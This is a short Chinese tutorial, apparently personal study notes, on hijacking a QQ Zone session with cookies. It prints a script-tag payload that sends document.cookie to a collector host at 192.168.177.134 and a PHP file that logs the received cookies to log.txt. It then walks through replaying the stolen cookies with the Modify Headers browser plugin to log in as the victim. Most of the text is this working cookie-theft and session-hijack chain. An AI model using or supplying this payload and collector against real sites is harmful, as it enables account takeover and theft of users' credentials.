利用cookies登录QQ空间

这几天在学习cookies,便做了些笔记

准备工具:一台电脑,火狐浏览器,modify headers插件;
一个Windows虚拟机,phpstudy。
文件:get_cookie_frt.js , get_cookie_bck.php(文件里的代码都在文末)




在虚拟机里安装好phpstudy,并把上面的两个文件放在www目录下

1

.首先,随便一个浏览器登录自己的QQ空间,并复制上面的网址利用cookies登录QQ空间_第1张图片

2

.然后f12,进入开发工具,在console里输入

document.location ="http://192.168.177.134/get_cookie_bck.php?cookie="+ document.cookie;

然后回车
(其中192.168.177.134是虚拟机的IP地址,get_cookie_bck.php是第二个文件的名字)
利用cookies登录QQ空间_第2张图片
如果成功的话,浏览器界面会出现这个,其实也就是第二份文件里的输出内容
利用cookies登录QQ空间_第3张图片

3

.此时,虚拟机里phpstudy中www目录下会新建一个log.txt文件
利用cookies登录QQ空间_第4张图片


打开这个文件,把里面的内容复制下来
注意,有且仅有这一步在虚拟机里操作
利用cookies登录QQ空间_第5张图片

4.

这时,在火狐浏览器里打开modify headers插件,name这里随便填,把虚拟机里phpstudy中www目录下出现的log.txt文件里的内容复制到value这一栏。

利用cookies登录QQ空间_第6张图片

5.

把第一步复制的网址粘贴到打开了modify headers插件的火狐浏览器上

利用cookies登录QQ空间_第7张图片
点击一下头像,登录成功。
利用cookies登录QQ空间_第8张图片


get_cookie_frt.js

<script>document.location ="http://192.168.177.134/get_cookie_bck.php?cookie="+ document.cookie;</script>




get_cookie_bck.php


echo "获取凭证成功";
$cookies = $_GET['cookie'];
$log =fopen("log.txt","a");
fwrite($log,$cookies."\n");
fclose($log);
?> 

如何安装modify headers插件,点这里

你可能感兴趣的:(modify,headers,cookie)